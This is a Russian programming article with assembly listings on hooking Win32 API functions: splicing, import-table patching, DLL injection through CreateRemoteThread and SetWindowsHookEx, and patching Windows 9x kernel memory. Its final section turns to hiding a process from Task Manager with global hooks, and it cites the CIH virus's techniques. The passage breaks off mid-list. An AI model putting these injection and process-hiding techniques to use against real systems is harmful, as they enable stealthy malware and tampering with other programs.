Воробьёвы

(-:

Система перехвата функций API платформы Win32

1. Введение

  Во времена MS DOS ни одна серьезная программа не обходилась без перехватов прерываний - сервисов системы для установки на них своих процедур-обработчиков. Это было совершенно необходимо, например, для обеспечения "псевдо-многозадачности" (pop up), реакции на таймер в режиме реального времени, получения расширенной информации об одновременно нажатых пользователем клавиш и т.п. Установка своих обработчиков могла осуществляться даже без ведома системы, - правда, тогда была вероятность того, что DOS выделит память с находящимся в ней обработчиком для какой- либо программы, что чревато крахом системы. Для мелких резидентов это было не страшно, а большие "защищались" несколькими способами - например, маркированием области как используемой DOS в системных целях (установка маркера 80h). Резиденты могли привести систему в нестабильное состояние. Чтобы этого не случилось, разработчики должны были учитывать очень большое число тонкостей и "подводных камней" ОС и принимать соответствующие меры. К тому же, обработчики прерываний писались чаще всего на ЯА в целях экономии памяти и увеличении скорости работы. Отсюда следует, что качественные резиденты - столь необходимую в программировании под DOS технику - писали только программисты довольно высокой квалификации.
  Системы Win32 претендуют на то, что ни один пользовательский процесс не может нарушить либо повлиять на работу другого или вызвать крах системы. Само понятие "резидент" в Win32 теряет свой смысл, так как каждый процесс работает в своем контексте памяти. Поэтому разработчики этих ОС отказались от подобного механизма, оставив только возможность обработки оконных сообщений (возможно, даже чужого процесса). Обработка оконных сообщений - это единственный метод получения информации о действиях пользователя для GUI приложений.
  Разработчики Win32, конечно, предоставили сервисы ОС для осуществления того, что в DOS могло быть сделано только путем установки резидента. Часть из них реализована через систему оконных сообщений, часть - через сервисы 3-го кольца (user mode), а остальные - в виде низкоуровневых сервисов, которые могут использоваться только драйверами (kernel mode). То есть, единый в прошлом механизм разделился на совершенно разные по сути подсистемы ОС. Это накладывает большие ограничения на его использование.
  К примеру, пользователь NT (Win2k) с привилегиями пользователя или гостя хочет защититься от атак из сети на отказ, нежелательных соединений, либо проверить, не передается ли от него какая-либо информация без его ведома. Это может быть решено путем установки драйвера - сниффера (sniffer) его сетевой карты, то есть персонального файрволла (firewall). Проблема состоит в том, что он не может установить свой драйвер в систему, так как он не имеет администраторских прав. Это ограничение действительно необходимо - ведь в противном случае даже гость может сделать с системой все, что угодно, так как код драйвера исполняется в нулевом кольце. Он, к примеру, может получить администраторские права, покопавшись в коде процесса Winlogon.exe.
  Однако эта же задача может быть решена без использования драйверов с практически той же эффективностью.

2. Перехват вызовов API в системах Windows NT и Windows 9X

2.1. Теория

  Нельзя утверждать, что адреса функций даже в системных библиотеках (например, Kernel32.dll) не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, - этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера - ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей атрибут "readable") заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию. Отсюда следует, что для перехвата функций в рамках одного контекста с уже инициализированными модулями, работающими потоками можно действовать двумя способами.
  Первый состоит в следующем. Определяется адрес нашего обработчика перехватываемой функции, расположенного, к примеру, в загруженной в контекст данного процесса библиотеке. Определяется настоящий адрес функции и производится замещение первых 5 байт ее кода на длинный прыжок к нашему обработчику. Для вызова исходного кода функции обработчик должен восстановить прежние байты кода, сделать вызов функции, и после возвращения управления восстановить опкод JMP в начале функции, иначе наш обработчик никогда не получит управление вновь. Этот метод называется "сплайсингом". Рассмотрим его сильные и слабые стороны.

  + Так как исправляется только память модуля, в котором производится перехват, то наш код будет вызываться как в результате вызовов функции как старыми модулями, так и динамически подгружаемыми, так как адрес перехватываемой функции не изменился - произведена лишь "врезка" нескольких байтов. При вызове перехватываемой функции наш код обязательно вызовется.
  + Будут перехватываться вызовы даже внутри обработанного модуля, так как неважно, каким образом точка входа перехватываемой функции получила управление.
  + Становится элементарной деинсталляция нашего обработчика - достаточно восстановить исходные байты.

  - В системах Win95/98 некоторые системные библиотеки (kernel32, user32 и др.) загружаются в адресное пространство "2Gb, которое проецируется на все контексты, присутствующие в системе. Это усложняет процесс перехвата их функций, так как содержимое памяти свыше 2Gb не может быть изменено стандартными документированными API функциями. Установить разрешение на запись в эту область памяти может функция _PageModifyPermissions, вызывающаяся с помощью kernel32!VxDCall0 и имеющая номер 1000dh. После установки атрибута "writable" на необходимый регион памяти и осуществления записи в него изменения произойдут во всех присутствующих контекстах одновременно. Значит, код нашего обработчика должен располагаться по одинаковым адресам во всех контекстах. Это возможно только если код будет находиться выше 2Gb - этого можно добиться несколькими способами. Вот самые распространенные из них: непосредственное указание требуемого imagebase линкеру динамически загружаемой библиотеки при компиляции ("2Gb); расположение кода в межсекционном пространстве какого-либо модуля, загруженного выше 2Gb; выделение памяти, проецируемой на все контексты (например, из файла подкачки) и копирование туда своего кода. Таким образом, наш обработчик будет получать управление в результате вызова перехватываемой функции в любом контексте. Если же необходимо осуществить перехват функции только в определенном контексте, обработчик должен вызывать GetCurrentProcessId() для получения сведений о вызывателе. Если же перехват сужается до определенного модуля, то кроме идентификации текущего процесса необходим анализ стека для определения вызывающего модуля.
  - Если наш обработчик получил управление, восстановил исходные байты и занялся чем-то, то другой поток в этот момент может вызвать настоящую функцию, то есть вызов перехвачен не будет - реентерабельность обработчиков не гарантируется даже при правильной организации кода. Эта проблема в общем случае не имеет решения.

  Другой метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.

  + Осуществляется реентерабельность нашего обработчика, так как код перехватываемой функции не изменяется вообще.
  + Становится более гибким выбор модуля/процесса, в котором необходимо осуществить перехват. Тело нашего обработчика может находиться по разным адресам в разных контекстах.

  - Уже инициализированные модули могут сохранить настоящий адрес функции и впоследствии вызывать именно его, минуя наш обработчик.
  - Необходимо каким-то образом распространять наши обработчики на динамически загружаемые модули. Это в свою очередь можно осуществить несколькими способами.

  1. В модуле, содержащем код перехватываемой функции, изменяется таблица экспорта - точнее, относительный виртуальный адрес (RVA) перехватываемой экспортируемой функции. Загрузчик PE будет указывать эти значения (+imagebase) в таблицы импорта новых модулей. Также функция GetProcAddress будет возвращать адреса наших обработчиков. Этот способ имеет существенный недостаток. Рассмотрим пример: пусть мы перехватываем некоторую функцию из kernel32. Процессом был вызван GetProcAddress(kernel32_base,&kernel_function_name) для получения ее адреса. Так как kernel32 загружен во всех контекстах по одному и тому же адресу, то адрес, возвращенный GPA, можно использовать для вызова функции удаленным кодом. Далее процесс выделяет память, к примеру, в контексте своего дочернего процесса, и после этого копирует удаленный код в эту область памяти. После этого он вызывает CreateRemoteThread для создания удаленного потока. Но так как мы перехватили одну из вызываемых этим потоком функций, то ее адрес больше не принадлежит региону kernel32. Даже если эта функция перехвачена и в дочернем процессе, то нельзя гарантировать однозначность адреса нашего обработчика в обоих контекстах. То есть очень вероятно, что при исполнении удаленного потока возникнет ситуация передачи управления не на наш обработчик - например, на неинициализированную страницу, страницу, не имеющую атрибут "executable" или вообще в чужой код. Любой из этих случаев приведет к GPF и процесс-мишень будет аварийно завершен.
  2. 2. Во избежание ситуации, описанной выше, нельзя перехватывать функции, часто используемые как начальная точка удаленного потока - LoadLibraryA, LoadLibraryW. Они являются всего лишь переходниками к более мощным функциям - LoadLibraryExA, LoadLibraryExW. Но их перехват не решит проблему, так как переход к ним в kernel32 делается коротким - по относительному смещению, не используя таблицу импорта. Но при более детальном изучении этих функций оказывается, что LoadLibraryExA сводится к LoadLibraryExW, а та, в свою очередь, к недокументированной функции ntdll!LdrLoadDll. Ее перехват необходим для решения двух задач: инсталляции перехвата функций на динамически загружаемые библиотеки и возможности установки обработчиков в цепочку.

2.2. Создание и исполнение удаленного кода

  Удаленный код - код, исполняемый вне контекста, изначально его содержащего. Чтение-запись процессом памяти другого осуществляется функциями kernel32!ReadProcessMemory и, соответственно, kernel32!WriteProcessMemory. Синтаксис вызова этих функций идентичен; одним из параметров является хэндл процесса, над которым производится операция - процесс "открывается" для каких-либо (определенных) действий. Производится это функцией kernel32!OpenProcess.
  В операционных системах, поддерживающих систему привилегий (NT/Win2k) возможность успешного открытия процесса зависит от текущего уровня привилегий процесса - исполнителя. В частности, функция OpenProcess по отношению к процессу winlogon.exe выполнится только при включенной привилегии SE_DEBUG_PRIVILEGE. Ей в большинстве случаев обладают только администраторы, так как она позволяет манипулировать со всеми без исключения процессами системы, что чревато крахом самой ОС либо ее системы безопасности. Таким образом, возможность чтения-записи памяти чужого процесса ограничена привилегиями пользователя. Так как чтение-запись памяти - краеугольный камень всей идеологии перехватов API, то очевидно, что существует класс задач, невыполнимых пользователем, не имеющим, к примеру, администраторских прав. Однако такой пользователь может применить перехват функций к любому процессу, запущенному (прямо либо косвенно) им самим (CreateProcess и аналоги), что в большинстве случаев и требуется.
  Рассмотрим варианты внедрения динамически загружаемой библиотеки в чужой контекст. Как известно, после инициализации dll происходит исполнение ее точки входа (как PE файла) с тремя параметрами. Именно в этой процедуре будет находиться код, осуществляющий перехват функций.

  1. Использование стандартной функции SetWindowsHookEx. Эта функция устанавливает хук на оконные сообщения. Она предназначена для отслеживания сообщений окон как своего процесса, так и чужого. В этом случае код обработчика должен находиться в dll. Реализация функции в общих чертах такова:
    • она проецирует библиотеку на все контексты, которые удовлетворяют следующим условиям: их потоки имеют в текущий момент GUI - окно, принимающее сообщения от пользователя, а их процессы могут быть успешно открыты пользователем функцией OpenProcess с параметром PROCESS_ALL_ACCESS;
    • для каждого из таких потоков встраивает требуемый обработчик в цепочку существующих. Наиболее интересным моментом является то, что функция автоматически проецирует библиотеку и на новые GUI процессы - процессы, которых не было в момент ее вызова.

      Таким образом, в результате исполнения нижеследующего кода библиотека myhookingdll будет спроецирована на все оговоренные контексты, и все ее копии получат уведомление DLL_PROCESS_ATTACH.

     call            LoadLibraryA,offset myhookingdll,0
     call            GetProcAddress,eax,offset mydummyhook,eax
     call            SetWindowsHookExA,WH_CBT,eax
    
  2. Использование удаленных потоков. В WinNT и Win2k существуют функции для создания удаленных потоков. Из них документирована одна - kernel32!CreateRemoteThread. В качестве параметров к ней передаются хэндл процесса, в котором будет создан поток, его стартовый адрес (в чужом контексте), аргумент функции потока (ее прототип - DWORD WINAPI ThreadFunc(PVOID pvParam)), начальный размер стэка и другие. Самый простой способ загрузки библиотеки в чужой контекст с использованием CreateRemoteThread - это указать стартовый адрес потока как адрес функции LoadLibraryA (или W) и поместить в качестве параметра указатель на имя библиотеки. Для этого нужно проделать следующие шаги:
    • открыть чужой процесс функцией OpenProcess как минимум с флагами PROCESS_CREATE_THREAD | PROCESS_VM_WRITE;
    • выделить память в чужом контексте для размещения там имени библиотеки с путем (функцией VirtualAllocEx);
    • скопировать туда полное имя библиотеки (функцией WriteProcessMemory);
    • узнать адрес функции LoadLibraryA (W);
    • выполнить CreateRemoteThread с начальным EIP равным полученному адресу LoadLibrary*;
    • закрыть процесс и поток.

      Все вышеописанные действия проводит следующий код:

      call   OpenProcess,PROCESS_ALL_ACCESS,1,PID
      xchg   eax,ebx
      call   VirtuallAllocEx,ebx,0,mydllnamesize,MEM_COMMIT,\
             PAGE_READWRITE,ebx
      call   WriteProcessMemory,ebx,eax,\
             offset mydll, mydllnamesize,0,eax,0,0
      call   GetModuleHandleA,offset kernel32
      call   GetProcAddress,eax,offset _LoadLibrary
      call   CreateRemoteThread,ebx,0,0,eax
      call   WaitForSingleObject,eax,INFINITE,eax
      call   CloseHandle
      call   CloseHandle
    

2.3. Изменение таблиц импорта

  Когда компилятор встречает в исходном тексте вызов функции, которая присутствует не в компилируемом исполняемом файле, а в некотором другом - чаще всего, в dll, в простейшем случае он генерирует 'call' на этот символ. Впоследствии линкер исправляет этот псевдовызов на вызов переходника ("stub"), используя библиотеку импорта, содержащую переходники для всех экспортируемых символов в указанных библиотеках. Такие переходники состоят из одной инструкции - 'jmp [x]', где x - адрес двойного слова в таблице импорта PE файла. Эти адреса загрузчик PE файла заполняет корректными значениями при инициализации модуля, опираясь на данные, указанные в таблице импорта.
  В более сложных случаях (при непосредственном указании импортируемой функции) компилятор генерирует 'call [x]', минуя переходник. Таблица (директория) импорта должна располагаться в секции, имеющей атрибуты "инициализированные данные" и "читаемая" (IMAGE_SCN_CNT_INITIALIZED_DATA и IMAGE_SCN_MEM_READ). Таблица импорта состоит из массива структур - дескрипторов импорта (IMAGE_IMPORT_DESCRIPTOR), завершающим элементом которого является нулевая структура. Дескриптор импорта выглядит следующим образом:

IMAGE_IMPORT_BY_NAME    STRUC
IBN_Hint                DW      ?
IBN_Name                DB      1 DUP (?)       ;длина не фиксирована
IMAGE_IMPORT_BY_NAME    ENDS

IMAGE_THUNK_DATA        STRUC
UNION
TD_AddressOfData        DD      IMAGE_IMPORT_BY_NAME PTR ?
TD_Ordinal              DD      ?
TD_Function             DD      BYTE PTR ?
TD_ForwarderString      DD      BYTE PTR ?
ENDS
IMAGE_THUNK_DATA        ENDS

IMAGE_IMPORT_DESCRIPTOR STRUC
UNION
ID_Characteristics      DD      ?
ID_OriginalFirstThunk   DD      IMAGE_THUNK_DATA PTR ?
ENDS
ID_TimeDateStamp        DD      ?
ID_ForwarderChain       DD      ?
ID_Name                 DD      BYTE PTR ?
ID_FirstThunk           DD      IMAGE_THUNK_DATA PTR ?
IMAGE_IMPORT_DESCRIPTOR ENDS

  ID_OriginalFirstThunk и ID_FirstThunk содержат относительные виртуальные адреса (RVA) структур IMAGE_THUNK_DATA, описывающие импортируемые функции.
  ID_TimeDateStamp содержит предполагаемый "штамп времени" модуля-экспортера и используется при технике линковки "bound imports". Если импорты не связаны, то значение этого поля =0.
  ID_ForwarderChain содержит RVA первого форварда в списке импортируемых функций. Если форварды отсутствуют, то значение этого поля =-1. ID_Name содержит RVA имени импортируемого модуля.
  Массивы ID_OriginalFirstThunk и ID_FirstThunk идут параллельно. Два массива необходимо для сохранения информации о импортируемых функциях - массив ID_OriginalFirstThunk загрузчиком изменен не будет, а массив ID_FirstThunk будет заполнен адресами требуемых функций (RVA имен функций уничтожатся).

  Модуль может экспортировать функции, реализация которых в нем не присутствует, а лишь импортируется из другого модуля. Этот прием называется "форвардинг функций". Его можно проиллюстрировать на примере wsock32.dll. Эта библиотека экспортирует множество функций, часть из которых есть переходники к функциям ws2_32.dll, а часть просто отсутствует в модуле: при импорте отсутствующей, но экпортируемой функции из wsock32, загрузчик, анализируя форварды wsock32, обнаруживает, что он должен экспортировать эту функцию из другого модуля - в частности, из ws2_32.dll.
  Смысл перехвата функций методом исправления таблицы импорта состоит в следующем:

  1. определяется адрес перехватываемой функции;
  2. исходя из данных PE заголовка модуля-жертвы вычисляется адрес его таблицы импорта;
  3. среди дескрипторов импорта ищется тот, который описывает импорты из модуля, содержащего реализацию перехватываемой функции;
  4. перебираются все структуры IMAGE_THUNK_DATA, начиная с RVA=ID_FirstThunk найденного дескриптора в поисках полей TD_Function, содержащих адрес перехватываемой функции;
  5. найденные адреса заменяются адресом обработчика перехваченной функции.

  Код функции, осуществляющей вышеперечисленные шаги, может выглядеть так (форвардинг функций не учитывается):

hook_api     proc            modbase:dword,modname:dword,\
                             procname:dword,hook_proc:dword
             local           oldproc:dword
             local           dummy:dword

             pushad
             @SEH_SetupFrame "jmp bad_exit"
             call            IsBadCodePtr,hook_proc    ; проверка корректности
                                                       ; вызова
             test            eax,eax
             jnz             bad_exit
             push            procname                        ; шаг 1 - узнаем
                                                             ; адрес
             call            GetModuleHandleA,modname        ; перехватываемой
                                                             ; функции
             call            [realGetProcAddress],eax
             test            eax,eax
             mov             oldproc,eax
             jz              bad_exit
             mov             edi,modbase
             call            IsBadReadPtr,edi,40h
             test            eax,eax
             jnz             bad_exit
             cmp             word ptr [edi],'ZM'
             jnz             bad_exit
             mov             ebx,[edi.MZ_lfanew]
             push            0F8h
             add             ebx,edi
             call            IsBadReadPtr,ebx
             test            eax,eax
             jnz             bad_exit
             cmp             dword ptr [ebx],'EP'
             jnz             bad_exit
             mov             esi,[ebx.NT_OptionalHeader\  ; шаг 2: получение
                                     .OH_DirectoryEntries\; адреса
                                     .DE_Import\          ; таблицы импорта
                                     .DD_VirtualAddress]
             or              esi,esi
             jz              bad_exit
             add             esi,edi
             cmp             esi,ebx
             jz              bad_exit
             stc
             mov             eax,[esi.ID_Name]
             test            eax,eax
             jz              no_imps
next_imp_desc:                                     ; шаг ь4: перебираем
                                                ; дескрипторы импорта
             push            esi
             push            edi
nxtchar__:   call            patchthisidesk

             pop             edi
             pop             esi
             mov             eax,[(esi\
                             +IMAGE_SIZEOF_IMPORT_DESCRIPTOR).ID_Name]
             add             esi, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
             test            eax,eax
             jnz             next_imp_desc
no_imps:     popad
             xor             eax,eax
             jc              simpleret
             mov             eax,oldproc
simpleret:   @SEH_RemoveFrame
             ret

bad_exit:    @SEH_RemoveFrame
             popad
             xor             eax,eax
             stc
             ret
bad_exit4proc:
             pop             eax
             jmp             mismatch

patchthisidesk:                                         ; шаг ь3: ищем вход
             add             esi,0ch                    ; перехватываемой
             call            IsBadReadPtr,esi,8         ; функции в данном
                                                        ; дескрипторе импорта
             sub             esi,0ch
             test            eax,eax
             jnz             bad_exit4proc
             mov             eax,[esi.ID_Name]
             test            eax,eax
             jz              bad_exit4proc
             mov             esi,[esi.ID_FirstThunk]
             add             esi,edi
             call            IsBadReadPtr,esi,4
             test            eax,eax
             jnz             bad_exit4proc
             mov             eax,[esi]
             test            eax,eax
             jz              bad_exit4proc
             mov             edi,oldproc

next_thunk:
             cmp             eax,edi
             jnz             next_thunk__
             call            VirtualProtect,esi,1000h,4,offset dummy,esi
             pop             esi

             mov             eax,hook_proc
             mov             [esi],eax               ; шаг ь5: заменим адрес
                                                     ; на свой
             clc
next_thunk__:
             mov             eax,[esi+4]             ; проверим TD_Function
                                                     ; следующего блока на 0
             add             esi,4
             test            eax,eax
             jnz             next_thunk
             db              0c3h;ret
hook_api     endp

2.4. Сплайсинг функций ядра Windows 9X

  В Win9x, в отличие от WinNT/Win2k, память, начиная с 2Gb, спроецирована на все контексты, присутствующие в системе, то есть ее содержимое одинаково для всех процессов. В этом регионе памяти находятся модули ядра, объекты ядра и пользовательские объекты, доступные всем контекстам - проекции файлов. Документированный Windows API не предоставляет средств для внесения изменений в память "2Gb. VirtualProtect + WriteProcessMemory завершается неудачно. Дж. Рихтер в своей книге "Programming Applications for Microsoft Windows" так поясняет эту ситуацию: "On Windows 98, the main Windows DLLs (Kernel32, AdvAPI32, User32, and GDI32) are protected in such a way that an application cannot overwrite their code pages. You can get around this by writing a virtual device driver (VxD)". Однако эту проблему можно решить и без написания собственного VxD. Достаточно вызвать VxDCall0 _PageModifyPermissions. VxDCall0 - это всегда первая экспортируемая Kernel32.dll функция. Нижеследующий код разрешит на чтение/запись первую страницу kernel32 (идея впервые описана Vecna).

   call            GetModuleHandleA,offset kernel32
   mov             ebx,eax
   mov             eax,[ebx.MZ_lfanew]
   lea             edi,[eax.ebx]
   mov             esi,[edi.NT_OptionalHeader.\
                   OH_DirectoryEntries.DE_Export.\
                   DD_VirtualAddress]
   mov             esi,[esi.ebx.ED_AddressOfFunctions]
   mov             ecx,[esi.ebx]
   add             ecx,ebx         ;ecx==VxDCall0
   shr             ebx,12
   push            020060000h
   push            00h
   push            01h
   push            ebx
   push            001000dh        ;_PageModifyPermissions
   call            ecx

  Надо учитывать спроецированность памяти "2Gb, ведь если некоторый регион будет разрешен для записи, а потом его память будет изменена, то эти изменения произойдут одновременно во всех контекстах. Таким образом, если удастся изменить ядро для передачи управления некоторых функций другим обработчикам, расположенным в памяти "2Gb (память пользовательского процесса), то при вызове перехваченной функции процессом другого контекста произойдет сбой - по указанному адресу не окажется соответствующего кода обработчика. Следовательно, код глобальных обработчиков функций ядра необходимо располагать также в памяти "2Gb. Код в памяти "2Gb можно расположить несколькими способами. Если размер кода небольшой, то его можно уместить в межсекционное пространство какого-либо модуля ядра (размер кода не больше разницы между физической и виртуальной длиной секции PE модуля). Следующий код пытается найти удовлетворяющее этому требованию место в регионе, занятом kernel32 и, в случае успеха, копирует в найденное пространство код обработчика.

             call            GetModuleHandle,offset kernel32
             mov             ebx,eax
             mov             eax,[ebx.MZ_lfanew]
             movzx           ecx,word ptr [eax.ebx.NT_FileHeader.\
                             FH_NumberOfSections]
             lea             esi,[eax.ebx+SIZE IMAGE_NT_HEADERS]
try_next_section:
             mov             eax,[esi.SH_Characteristics]
             and             eax,IMAGE_SCN_MEM_WRITE\
                             +IMAGE_SCN_MEM_READ\
                             +IMAGE_SCN_CNT_INITIALIZED_DATA
             cmp             eax,IMAGE_SCN_MEM_WRITE\
                             +IMAGE_SCN_MEM_READ\
                             +IMAGE_SCN_CNT_INITIALIZED_DATA
             jne             next_section
             mov             eax,[esi.SH_SizeOfRawData]
             mov             edi,[esi.SH_VirtualSize]
             sub             eax,edi
             cmp             eax,CODE_SIZE
             jb              next_section
             add             edi,[esi.SH_VirtualAddress]
             add             edi,ebx
             jmp             copy_code
next_section:
             add             esi,IMAGE_SIZEOF_SECTION_HEADER
             loop            try_next_section
             jmp             section_not_found
copy_code:
             mov             esi,offset IMPLANT_CODE
             mov             ecx,CODE_SIZE
             cld
             rep             movsb    ;скопировать код в найденное пр-во

  Плюс этого метода в том, что процесс, осуществивший запись в межсекционное пространство, никак не связан с этой памятью. Он может быть закрыт, и память не будет освобождена.
  Однако чаще всего свободной памяти, найденной таким путем, не хватает. В таком случае можно "разбросать" части своего обработчика по всем межсекционным пространствам модулей, загруженным выше 2Gb, а потом "склеивать" части обработчика на лету. Этот метод используется, к примеру, в вирусе Win9X.CIH (он распределяет свой код в межсекционном пространстве зараженного модуля - при этом физический размер модуля на диске не изменяется). Таким способом можно размещать обработчики размером не больше 10kb. Понятно, что любой серьезный проект будет превышать этот предел.
  Существует более простой и надежный метод выделения памяти >2Gb. Можно выделить память под объект - проекцию файла, например, из своп-файла. Содержимое подобного объекта будет расположено системой >2Gb, все выделенные страницы могут быть помечены атрибутом "исполняемые".

  call            CreateFileMappingA,0ffffffffh,NULL,\
                  PAGE_READWRITE,0,IMPLANT_SIZE,0
  call            MapViewOfFile,eax,FILE_MAP_WRITE+\
                  SECTION_MAP_EXECUTE,0,0,IMPLANT_SIZE
  mov             edi,eax
  mov             esi,offset IMPLANT
  mov             ecx,IMPLANT_SIZE
  cld
  rep             movsb

  С помощью этого метода можно выделить память сколь угодно большого размера, но она будет иметь хозяина - процесс, ее выделивший. Поэтому если процесс, установивший глобальный обработчик в память "2Gb завершится, то память, им аллоцированная, освободится; любой вызов в ядре, приводящий к передаче управления на эту память в лучшем случае приведет к аварийному завершению процесса, чей поток совершил "незаконное" действие, а в худшем - к краху системы. Следовательно, глобальный перехватчик функция ядра не должен завершиться.
  Общим недостатком этих методов является неопределенность базового адреса копируемого кода. В любом случае, очевидно, что базовый адрес, указанный линковщиком при компиляции модуля - перехватчика, не совпадет с его истинной базой в памяти. Также возникает вопрос о вызовах API функций таким обработчиком - таблица импорта отсутствует.
  Самое простое решение первой проблемы состоит в применении техники базонезависимого кода. Идея в том, что в самом коде хранятся лишь относительные адреса данных. При инициализации кода он определяет свою базу и, прибавляя ее к относительным адресам, вычисляет абсолютные адреса данных. Код на ЯВУ не может быть базонезависимым в силу негибкости компиляторов (уточнение: может, но только в случае неиспользования им глобальных меток)

  Пример базонезависимого кода:

             call            delta
delta:       pop             ebp
             sub             ebp,offset delta-code_start
             lea             esi,[ebp+(offset _data-code_start)]
             ...
_data        db              'Text',0

  Рассмотрим решение второй проблемы применительно к функциям ядра. Так как модули ядра присутствуют во всех контекстах по одному и тому же адресу, то для вызовов их функций из обработчиков достаточно построить в них переходники, а необходимые адреса функций в них будут записываться еще до копирования кода обработчика в регион >2Gb. Типичный код переходника и кода, его заполняющего, выглядит так:

 ; код в секции кода процесса-перехватчика
             call            GetModuleHandleA,offset user32
             call            GetProcAddress,eax,offset msgboxa
             mov             msgboxa_,eax
             ...
 ; код в секции данных процесса-перехватчика:
 ; он будет скопирован в память >2Gb
_MessageBoxA:mov             eax,12345678h
             org             $-4
msgboxa_     dd              0
             jmp             eax

  Используя вышеприведенную технику, вызов функций ядра становится тривиальным.

   mov             eax,[ebp+(offset _uType-code_start)]
   push            eax
   lea             eax,[ebp+(offset _caption-code_start)]
   push            eax
   lea             eax,[ebp+(offset _text-code_start)]
   push            eax
   mov             eax,[ebp+(offset _hWnd-code_start)]
   push            eax
   call            _MessageBoxA

  Но как быть в случае, когда необходимо вызвать функцию из библиотеки, расположенной ниже 2Gb? В разных контекстах она может быть загружена (если загружена) в результате коллизий по разным адресам - следовательно, ее адрес нельзя заранее записать в переходник. В этом случае сначала нужно определить адрес библиотеки в текущем контексте (если библиотека туда не загружена, загрузить ее), а затем найти адрес требуемой функции.
  Для надежности не следует сразу пользоваться функциями LoadLibrary*, т.к. если библиотека уже находилась в контексте, то эта операция инкрементирует ее счетчик использования. Если окажется так, что эта dll была загружена в контекст единственный раз, то процесс-хозяин, выполнив FreeLibrary, должен был бы выгрузить ее, но в результате непредусмотренного вызова LoadLibrary* FreeLibrary лишь декрементирует ее счетчик, и может нарушиться логика выполнения программы-хозяина. Таким образом, для более "невидимого" вмешательства в чужой процесс необходимо сначала проверить присутствие требуемого модуля функцией kernel32!GetModuleHandle, и только в случае его отстутствия воспользоваться LoadLibrary* (после выполнения функций dll следует выгрузить с помощью FreeLibrary по тем же причинам).

             lea             ebx,[ebp+(offset ws2_32-offset code_start)]
             call            _GetModuleHandleA,ebx
             push            ebp
             xor             ebp,ebp
             or              eax,eax
             jnz             dllloaded
             call            _LoadLibrary,ebx
             mov             ebp,eax
dllloaded:   lea             ecx,[ebp+(offset clsock-offset code_start)]
             call            _GetProcAddress,ebx,ecx
             mov             ecx,[ebp+(offset hSocket-offset code_start)]
             call            eax,ecx
             call            _FreeLibrary,ebp        ; пройдет успешно, если
             pop             ebp                     ; dll загрузили мы

  Итак, любая память доступна нам для чтения/записи, наш код может выполняться корректно вне зависимости от его базы и вызывать любые API функции. Теперь можно приступить к исправлению кода функций ядра для передачи управления нашему обработчику.
  Ebp указывает на начало найденной памяти. Для начала сохраним первые 5 байт перехватываемой функции.

  call            GetProcAddress,ebx,offset lla
  mov             edi,eax
  lea             esi,[ebp+(offset lla_code-offset code_start)]
  push            edi
  xchg            esi,edi
  movsb
  movsd

  Затем изменим флаг разрешения записи атрибута страницы, содержащей начало перехватываемой функции, на истину.

   mov             eax,[esp]
   pushad
   shr             eax,12
   push            020060000h
   push            00h
   push            01h
   push            eax
   push            001000dh                ;_PageModifyPermissions
   mov             eax,[vxdcall0]
   call            eax
   popad
   pop             edi

  Построим 5-байтовый JMP в начале функции.

   mov             al,0e9h
   stosb
   stosd                                   ;прибавим 4 к edi

   lea             eax,[ebp+(offset lla_entry-offset code_start)]
   sub             eax,edi
   mov             [edi-4],eax

  При таком методе организации сплайсинга обработчик перехваченной функции может выгдядеть так (синтаксис функции - 1 двойное слово):

lla_entry:   call            swap_lla
             push            dword ptr [esp+4]
             call            _lla                    ;вызов настоящей функции
             call            swap_lla
             ...                                     ;какие-то действия
             ret             4

_lla:        mov             eax,12345678h
             org             $-4
lla_         dd              0
             jmp             eax

swap_lla:    push            esi edi ebp
             call            delta
delta:       pop             ebp
             sub             ebp,offset delta-code_start

             lea             esi,[ebp+(offset lla_code-code_start)]
             mov             edi,[ebp+(offset lla_-code_start)]
             push            eax
             mov             eax,[edi]
             xchg            [esi],eax
             mov             [edi],eax
             mov             al,[edi+4]
             xchg            [esi+4],al
             mov             [edi+4],al
             pop             ebp edi esi
             ret

2.5. Методы установки глобальных перехватчиков

  Часто бывает необходимо перехватить какую-либо функцию глобально, т.е. во всех текущих процессах сразу. К примеру, для достижения невидимости в NT/w2k через функцию ntdll!NtQuerySystemInformation процесс-"призрак" должен перебрать все остальные процессы и распространить свои обработчики на каждый их них. Кроме этого, процесс должен позаботиться и о новых процессах - тех, которые будут созданы после инсталляции его обработчика NtQuerySystemInformation. Это непростая задача, так как процесс может быть запущен множеством способов: shell32!ShellExecute*, kernel32!CreateProcess*, ntdll!NtCreateProcess и другими. Большинство из них сводится к NtCreateProcess. Также возникает проблема - процесс с привилегиями гостя не может изменить память контекста, работающего с привилегиями System или Local Administrator - например, Winlogon.exe, а именно он запускает самый популярный менеджер задач для NT/w2k/XP: taskmgr.exe (с помошью функции msgina!WlxStartApplication). Таким образом, на Winlogon.exe обработчик NtCreateProcess распространить не удастся, и при нажатии пользователем ctrl-shift-esc запущенный taskmgr "увидит" спрятанный процесс.
  Эта проблема кажется неразрешимой. Однако спасает положение от факт, что taskmgr - GUI приложение, а, следовательно, установив глобальный хук сообщений - к примеру, типа WH_CBT - наш модуль автоматически будет добавлен к taskmgr.exe и проинициализирован с причиной DLL_PROCESS_ATTACH еще до того, как главный модуль taskmgr получит управление.
  Первая проблема может быть решена следующим образом. Перехватим ntdll!NtCreateThread и ntdll!CsrClientCallServer. Процесс не имеет своего идентификатора до создания первого потока, и если в обрабочике NtCreateThread мы видим такую ситуацию:

  1. процесс-хозяин не имеет идентификатора;
  2. создающийся поток приостановлен;
